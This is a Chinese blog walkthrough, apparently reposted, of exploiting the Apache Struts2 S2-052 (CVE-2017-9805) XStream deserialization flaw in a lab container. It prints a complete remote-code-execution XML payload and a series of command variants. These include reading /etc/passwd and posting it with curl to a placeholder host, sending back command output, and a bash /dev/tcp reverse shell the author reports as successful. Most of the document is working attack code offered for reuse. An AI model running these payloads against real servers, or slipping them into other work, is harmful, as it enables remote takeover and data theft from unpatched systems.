struts2-052-CVE-2017-9805

访问 http://ip:8080/ 即可,能看到如下面这个图,就说明可以了。
在这里插入图片描述
点edit,然后点submit抓包

在数据包里构造POC:

<map>

<entry>

     <jdk.nashorn.internal.objects.NativeString>

       <flags>0</flags>

       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

         <dataHandler>

           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

             <is class="javax.crypto.CipherInputStream">

               <cipher class="javax.crypto.NullCipher">

                 <initialized>false</initialized>

                 <opmode>0</opmode>

                 <serviceIterator class="javax.imageio.spi.FilterIterator">

                   <iter class="javax.imageio.spi.FilterIterator">

                     <iter class="java.util.Collections$EmptyIterator"/>

                     <next class="java.lang.ProcessBuilder">

                       <command>

<string>touch</string>

<string>/tmp/test.txt</string>

                       </command>

                       <redirectErrorStream>false</redirectErrorStream>

                     </next>

                   </iter>

                   <filter class="javax.imageio.ImageIO$ContainsFilter">

                     <method>

                       <class>java.lang.ProcessBuilder</class>

                       <name>start</name>

                       <parameter-types/>

                     </method>

                     <name>foo</name>

                   </filter>

                   <next class="string">foo</next>

                 </serviceIterator>

                 <lock/>

               </cipher>

               <input class="java.lang.ProcessBuilder$NullInputStream"/>

               <ibuffer/>

               <done>false</done>

               <ostart>0</ostart>

               <ofinish>0</ofinish>

               <closed>false</closed>

             </is>

             <consumed>false</consumed>

           </dataSource>

           <transferFlavors/>

         </dataHandler>

         <dataLen>0</dataLen>

       </value>

     </jdk.nashorn.internal.objects.NativeString>

     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

   </entry>

   <entry>

     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

   </entry>

 </map>

这里要改成application/xml
在这里插入图片描述
发送请求结束,服务器会报错,但是命令应该已经执行成功。
在这里插入图片描述
查看一下本机的/tmp/目录,看是否新生成一个test.txt文件。(由于启动该镜像时,已经将本地的/tmp/目录映射到容器的/tmp/目录,故容器/tmp/目录的变化会反映到本地/tmp/目录)
在这里插入图片描述
如果想执行其他命令,只需要修改之间的值就行了。
随着近一步的测试,郁闷的发现这个地方的payload不能随意写,必需符合某些格式命令才会执行。
1、命令不能直接写到一个中:

<command>
<string>touch /tmp/test.txt</string>
</command>

这样写命令是不会执行的,必须按照空格分开,分别写到

<string></string>

中间才行。例如最开始的正确格式。

2、没法随意创建文件
比如原始命令是:
echo abc > /tmp/abc

转换成对应的格式就是:

<command>

<string>echo</string>

<string>abc</string>

<string>></string>

<string>/tmp/abc</string>

</command>

这样也是不行的,应该是不支持重定向符号>,管道符 | 应该也不支持吧。

3、没有回显
命令执行完了之后,完全看不到执行的结果。比如 ls、pwd、id、whoami、ifconfig ,完全不知道结果是什么。能想到的一个回显办法就是把命令执行结果写到一个文件,然后去读取那个文件。但是由于不支持重定向符号,所以写文件还是个难题……

4、命令可以支持多个参数
原始命令:
cp /etc/passwd /tmp/passwd
转换之后

<command>

<string>cp</string>

<string>/etc/passwd</string>

<string>/tmp/passwd</string>

</command>

cp命令执行成功

原始命令:
curl -d “abc=test” http://x.x.x.x/
转换之后

<command>

<string>curl</string>

<string>-d</string>

<string>abc=test</string>

<string> http://x.x.x.x/ </string>

</command>

curl命令执行成功!注意第三行的值不能有双引号,否则失败。

5、可以文件读取
原始命令:
curl -F “value=@/etc/passwd” http://x.x.x.x/
转换之后

<command>

<string>curl</string>

<string>-F</string>

<string>value=@/etc/passwd</string>

<string> http://x.x.x.x/ </string>

</command>

通过在服务端http://x.x.x.x/抓包,发现/etc/passwd被post了过来。

四、难点与突破
经过上述测试,发现能实现文件读取。假如能把命令的执行结果写到某个文件,就能实现回显。然而臣妾做不到啊……

后来还是想办法绕过对 > | 这些符号的限制,搜了不少资料未果。然后猜想服务端是不是类似一种bash -c 的执行效果,服务端把我们传的参数都拼接起来执行。

然后就开始测试 bash -c这个命令,以下是失败的例子:

<command>

<string>bash</string>

<string>-c</string>

<string>touch</string>

<string>/tmp/abc.txt</string>

</command>

<command>

<string>bash</string>

<string>-c</string>

<string>'<string>

<string>touch</string>

<string>/tmp/abc.txt</string>

<string>'<string>

</command>

<command>

<string>bash</string>

<string>-c</string>

<string>"touch</string>

<string>/tmp/abc.txt”</string>

</command>

<command>

<string>bash</string>

<string>-c</string>

<string>"touch /tmp/abc.txt”</string>

</command>

功夫不负有心人,让我测试到了成功!下面是成功的例子!

创建一个空的 /tmp/abc.txt

<command>

<string>bash</string>

<string>-c</string>

<string>touch /tmp/abc.txt</string>

</command>

可以使用重定向符号>创建任意文件!

<command>

<string>bash</string>

<string>-c</string>

<string>echo abcd >/tmp/abcd.txt</string>

</command>

可以把ip addr的命令执行结果输出到/tmp/ip.txt

<command>

<string>bash</string>

<string>-c</string>

<string>ip addr >/tmp/ip.txt</string>

</command>

可以把ip addr的命令执行结果输出到/tmp/ip.txt,然后把这个ip.txt文件post到指定的服务器,实现了回显。

<command>

<string>bash</string>

<string>-c</string>

<string>ip addr >/tmp/cmd.txt;curl -F "name=@/tmp/cmd.txt" http://x.x.x.x</string>

</command>

使用管道符|

<command>

<string>bash</string>

<string>-c</string>

<string>echo abc|grep abc>/tmp/test.txt</string>

</command>

五、得到反弹shell

最理想的当然就是反弹shell了,我紧接着测试了bash反弹shell的例子。

原始命令

bash -i >& /dev/tcp/x.x.x.x/port 0>&1

转换之后:

<command>

<string>bash</string>

<string>-c</string>

<string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string>

</command>

但是没有反弹成功……

刚开始不知道为什么会失败,后来想到可能是&这个符号,因为前面已经证实了这种写法 > | 符号是可以被正确解析的,所以只剩下&符号了。

正郁闷的时候,我发现服务器的错误响应跟前面的是有点不同的。
在这里插入图片描述
通过这个,猜测服务器应该是不认识&这个符号,需要编码。然后我就把&换成 &,再试一次……

<command>

<string>bash</string>

<string>-c</string>

<string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string>

</command>

成功了!服务器得到了一个反弹shell,然后想干嘛就可以干嘛了……
在这里插入图片描述转载非原创,侵删

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值